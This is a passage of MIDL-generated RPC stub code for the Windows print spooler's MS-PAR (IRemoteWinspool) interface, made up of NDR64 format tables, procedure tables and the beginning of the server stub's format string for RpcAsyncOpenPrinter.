/* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 2 /* 0x2 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag27_t __midl_frag27 =\n{ \n/* *SPLCLIENT_INFO_3 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag28\n};\n\nstatic const __midl_frag26_t __midl_frag26 =\n{ \n/* SPLCLIENT_INFO_2 */\n    { \n    /* SPLCLIENT_INFO_2 */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_2 */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag25_t __midl_frag25 =\n{ \n/* *SPLCLIENT_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag26\n};\n\nstatic const __midl_frag21_t __midl_frag21 =\n{ \n/* SPLCLIENT_INFO_1 */\n    { \n    /* SPLCLIENT_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        0,\n        0,\n        &__midl_frag31,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 2 /* 0x2 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* SPLCLIENT_INFO_1 */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag20_t __midl_frag20 =\n{ \n/* *SPLCLIENT_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag21\n};\n\nstatic const __midl_frag18_t __midl_frag18 =\n{ \n/* __MIDL_IRemoteWinspool_0014 */\n    { \n    /* __MIDL_IRemoteWinspool_0014 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag107,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 3 /* 0x3 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag20,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag25,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 3 /* 0x3 */,\n        &__midl_frag27,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag17_t __midl_frag17 =\n{ \n/* SPLCLIENT_CONTAINER */\n    { \n    /* SPLCLIENT_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SPLCLIENT_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag18\n        },\n        { \n        /* SPLCLIENT_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag14_t __midl_frag14 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag11\n    }\n};\n\nstatic const __midl_frag11_t __midl_frag11 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag107\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag10_t __midl_frag10 =\n{ \n/* DEVMODE_CONTAINER */\n    { \n    /* DEVMODE_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DEVMODE_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag14,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag2_t __midl_frag2 =\n{ \n/* RpcAsyncOpenPrinter */\n    { \n    /* RpcAsyncOpenPrinter */      /* procedure RpcAsyncOpenPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag942,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag99,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pDatatype */      /* parameter pDatatype */\n        &__midl_frag942,\n        { \n        /* pDatatype */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag10,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* AccessRequired */      /* parameter AccessRequired */\n        &__midl_frag948,\n        { \n        /* AccessRequired */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pClientInfo */      /* parameter pClientInfo */\n        &__midl_frag17,\n        { \n        /* pClientInfo */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1065,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1_t __midl_frag1 =\n(NDR64_UINT32) 0 /* 0x0 */;\n#ifdef __cplusplus\n}\n#endif\n\n\n#include \"poppack.h\"\n\n\nstatic const FormatInfoRef IRemoteWinspool_Ndr64ProcTable[] =\n    {\n    &__midl_frag2,\n    &__midl_frag33,\n    &__midl_frag101,\n    &__midl_frag147,\n    &__midl_frag159,\n    &__midl_frag174,\n    &__midl_frag185,\n    &__midl_frag189,\n    &__midl_frag192,\n    &__midl_frag199,\n    &__midl_frag210,\n    &__midl_frag224,\n    &__midl_frag227,\n    &__midl_frag237,\n    &__midl_frag240,\n    &__midl_frag243,\n    &__midl_frag246,\n    &__midl_frag260,\n    &__midl_frag276,\n    &__midl_frag287,\n    &__midl_frag300,\n    &__midl_frag304,\n    &__midl_frag322,\n    &__midl_frag327,\n    &__midl_frag340,\n    &__midl_frag346,\n    &__midl_frag359,\n    &__midl_frag378,\n    &__midl_frag398,\n    &__midl_frag412,\n    &__midl_frag436,\n    &__midl_frag429,\n    &__midl_frag436,\n    &__midl_frag441,\n    &__midl_frag460,\n    &__midl_frag494,\n    &__midl_frag500,\n    &__midl_frag514,\n    &__midl_frag518,\n    &__midl_frag533,\n    &__midl_frag635,\n    &__midl_frag651,\n    &__midl_frag665,\n    &__midl_frag673,\n    &__midl_frag839,\n    &__midl_frag693,\n    &__midl_frag709,\n    &__midl_frag723,\n    &__midl_frag737,\n    &__midl_frag751,\n    &__midl_frag784,\n    &__midl_frag791,\n    &__midl_frag815,\n    &__midl_frag815,\n    &__midl_frag823,\n    &__midl_frag839,\n    &__midl_frag849,\n    &__midl_frag855,\n    &__midl_frag868,\n    &__midl_frag915,\n    &__midl_frag919,\n    &__midl_frag925,\n    &__midl_frag930,\n    &__midl_frag941,\n    &__midl_frag956,\n    &__midl_frag972,\n    &__midl_frag984,\n    &__midl_frag1001,\n    &__midl_frag1009,\n    &__midl_frag1019,\n    &__midl_frag1025,\n    &__midl_frag1045,\n    &__midl_frag1055,\n    &__midl_frag1061,\n    &__midl_frag1071\n    };\n\n\n#ifdef __cplusplus\nnamespace {\n#endif\nstatic const MIDL_STUB_DESC IRemoteWinspool_StubDesc = \n    {\n    (void *)& IRemoteWinspool___RpcClientInterface,\n    MIDL_user_allocate,\n    MIDL_user_free,\n    &IRemoteWinspool__MIDL_AutoBindHandle,\n    0,\n    0,\n    0,\n    0,\n    ms2Dpar__MIDL_TypeFormatString.Format,\n    1, /* -error bounds_check flag */\n    0x60001, /* Ndr library version */\n    0,\n    0x8010274, /* MIDL Version 8.1.628 */\n    0,\n    0,\n    0,  /* notify & notify_flag routine table */\n    0x2000001, /* MIDL flag */\n    0, /* cs routines */\n    (void *)& IRemoteWinspool_ProxyInfo,   /* proxy/server info */\n    &ms2Dpar_ExprDesc\n    };\n#ifdef __cplusplus\n}\n#endif\n\nstatic const MIDL_SYNTAX_INFO IRemoteWinspool_SyntaxInfo [  2 ] = \n    {\n    {\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    0,\n    ms2Dpar__MIDL_ProcFormatString.Format,\n    IRemoteWinspool_FormatStringOffsetTable,\n    ms2Dpar__MIDL_TypeFormatString.Format,\n    0,\n    0,\n    0\n    }\n    ,{\n    {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}},\n    0,\n    0 ,\n    (unsigned short *) IRemoteWinspool_Ndr64ProcTable,\n    0,\n    0,\n    0,\n    0\n    }\n    };\n\nstatic const MIDL_STUBLESS_PROXY_INFO IRemoteWinspool_ProxyInfo =\n    {\n    &IRemoteWinspool_StubDesc,\n    ms2Dpar__MIDL_ProcFormatString.Format,\n    IRemoteWinspool_FormatStringOffsetTable,\n    (RPC_SYNTAX_IDENTIFIER*)&_RpcTransferSyntax_2_0,\n    2,\n    (MIDL_SYNTAX_INFO*)IRemoteWinspool_SyntaxInfo\n    \n    };\n\n#if _MSC_VER >= 1200\n#pragma warning(pop)\n#endif\n\n\n#endif /* defined(_M_AMD64)*/\n\n"
  },
  {
    "path": "rpc_interfaces/ms-par_s.c",
    "content": "\n\n/* this ALWAYS GENERATED file contains the RPC server stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-par.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n#if _MSC_VER >= 1200\n#pragma warning(push)\n#endif\n\n#pragma warning( disable: 4211 )  /* redefine extern to static */\n#pragma warning( disable: 4232 )  /* dllimport identity*/\n#pragma warning( disable: 4024 )  /* array to pointer mapping*/\n\n#include <string.h>\n#include \"ms-par_h.h\"\n\n#define TYPE_FORMAT_STRING_SIZE   3835                              \n#define PROC_FORMAT_STRING_SIZE   4715                              \n#define EXPR_FORMAT_STRING_SIZE   33                                \n#define TRANSMIT_AS_TABLE_SIZE    0            \n#define WIRE_MARSHAL_TABLE_SIZE   0            \n\ntypedef struct _ms2Dpar_MIDL_TYPE_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];\n    } ms2Dpar_MIDL_TYPE_FORMAT_STRING;\n\ntypedef struct _ms2Dpar_MIDL_PROC_FORMAT_STRING\n    {\n    short          Pad;\n    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];\n    } ms2Dpar_MIDL_PROC_FORMAT_STRING;\n\ntypedef struct _ms2Dpar_MIDL_EXPR_FORMAT_STRING\n    {\n    long          Pad;\n    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];\n    } ms2Dpar_MIDL_EXPR_FORMAT_STRING;\n\n\nstatic const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax_2_0 = \n{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};\n\nstatic const RPC_SYNTAX_IDENTIFIER  _NDR64_RpcTransferSyntax_1_0 = \n{{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};\n\n#if defined(_CONTROL_FLOW_GUARD_XFG)\n#define XFG_TRAMPOLINES(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_TRAMPOLINES64(ObjectType)\\\nNDR_SHAREABLE unsigned long ObjectType ## _UserSize64_XFG(unsigned long * pFlags, unsigned long Offset, void * pObject)\\\n{\\\nreturn  ObjectType ## _UserSize64(pFlags, Offset, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserMarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserMarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE unsigned char * ObjectType ## _UserUnmarshal64_XFG(unsigned long * pFlags, unsigned char * pBuffer, void * pObject)\\\n{\\\nreturn ObjectType ## _UserUnmarshal64(pFlags, pBuffer, (ObjectType *)pObject);\\\n}\\\nNDR_SHAREABLE void ObjectType ## _UserFree64_XFG(unsigned long * pFlags, void * pObject)\\\n{\\\nObjectType ## _UserFree64(pFlags, (ObjectType *)pObject);\\\n}\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\\\nstatic void* ObjectType ## _bind_XFG(HandleType pObject)\\\n{\\\nreturn ObjectType ## _bind((ObjectType) pObject);\\\n}\\\nstatic void ObjectType ## _unbind_XFG(HandleType pObject, handle_t ServerHandle)\\\n{\\\nObjectType ## _unbind((ObjectType) pObject, ServerHandle);\\\n}\n#define XFG_TRAMPOLINE_FPTR(Function) Function ## _XFG\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol ## _XFG\n#else\n#define XFG_TRAMPOLINES(ObjectType)\n#define XFG_TRAMPOLINES64(ObjectType)\n#define XFG_BIND_TRAMPOLINES(HandleType, ObjectType)\n#define XFG_TRAMPOLINE_FPTR(Function) Function\n#define XFG_TRAMPOLINE_FPTR_DEPENDENT_SYMBOL(Symbol) Symbol\n#endif\n\n\nextern const ms2Dpar_MIDL_TYPE_FORMAT_STRING ms2Dpar__MIDL_TypeFormatString;\nextern const ms2Dpar_MIDL_PROC_FORMAT_STRING ms2Dpar__MIDL_ProcFormatString;\nextern const ms2Dpar_MIDL_EXPR_FORMAT_STRING ms2Dpar__MIDL_ExprFormatString;\n\n/* Standard interface: IRemoteWinspool, ver. 1.0,\n   GUID={0x76f03f96,0xcdfd,0x44fc,{0xa2,0x2c,0x64,0x95,0x0a,0x00,0x12,0x09}} */\n\n\nextern const MIDL_SERVER_INFO IRemoteWinspool_ServerInfo;\n\nextern const RPC_DISPATCH_TABLE IRemoteWinspool_v1_0_DispatchTable;\n\nstatic const RPC_SERVER_INTERFACE IRemoteWinspool___RpcServerInterface =\n    {\n    sizeof(RPC_SERVER_INTERFACE),\n    {{0x76f03f96,0xcdfd,0x44fc,{0xa2,0x2c,0x64,0x95,0x0a,0x00,0x12,0x09}},{1,0}},\n    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},\n    (RPC_DISPATCH_TABLE*)&IRemoteWinspool_v1_0_DispatchTable,\n    0,\n    0,\n    0,\n    &IRemoteWinspool_ServerInfo,\n    0x06000000\n    };\nRPC_IF_HANDLE IRemoteWinspool_v1_0_s_ifspec = (RPC_IF_HANDLE)& IRemoteWinspool___RpcServerInterface;\n#ifdef __cplusplus\nnamespace {\n#endif\n\nextern const MIDL_STUB_DESC IRemoteWinspool_StubDesc;\n#ifdef __cplusplus\n}\n#endif\n\nextern const NDR_RUNDOWN RundownRoutines[];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\nstatic const ms2Dpar_MIDL_PROC_FORMAT_STRING ms2Dpar__MIDL_ProcFormatString =\n    {\n        0,\n        {\n\n\t/* Procedure RpcAsyncOpenPrinter */\n\n\t\t\t0x0,\t\t/* 0 */\n\t\t\t0x48,\t\t/* Old Flags:  */\n/*  2 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/*  6 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/*  8 */\tNdrFcShort( 0x40 ),\t/* X64 Stack size/offset = 64 */\n/* 10 */\t0x32,\t\t/* FC_BIND_PRIMITIVE */\n\t\t\t0x0,\t\t/* 0 */\n/* 12 */\tNdrFcShort( 0x0 ),\t/* X64 Stack size/offset = 0 */\n/* 14 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 16 */\tNdrFcShort( 0x40 ),\t/* 64 */\n/* 18 */\t0x46,\t\t/* Oi2 Flags:  clt must size, has return, has ext, */\n\t\t\t0x7,\t\t/* 7 */\n/* 20 */\t0xa,\t\t/* 10 */\n\t\t\t0x45,\t\t/* Ext Flags:  new corr desc, srv corr check, has range on conformance */\n/* 22 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 24 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcShort( 0x0 ),\t/* 0 */\n\n\t/* Parameter pPrinterName */\n\n/* 30 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 32 */\tNdrFcShort( 0x8 ),\t/* X64 Stack size/offset = 8 */\n/* 34 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pHandle */\n\n/* 36 */\tNdrFcShort( 0x110 ),\t/* Flags:  out, simple ref, */\n/* 38 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 40 */\tNdrFcShort( 0xa ),\t/* Type Offset=10 */\n\n\t/* Parameter pDatatype */\n\n/* 42 */\tNdrFcShort( 0xb ),\t/* Flags:  must size, must free, in, */\n/* 44 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 46 */\tNdrFcShort( 0x2 ),\t/* Type Offset=2 */\n\n\t/* Parameter pDevModeContainer */\n\n/* 48 */\tNdrFcShort( 0x10b ),\t/* Flags:  must size, must free, in, simple ref, */\n/* 50 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 52 */\tNdrFcShort( 0x28 ),\t/* 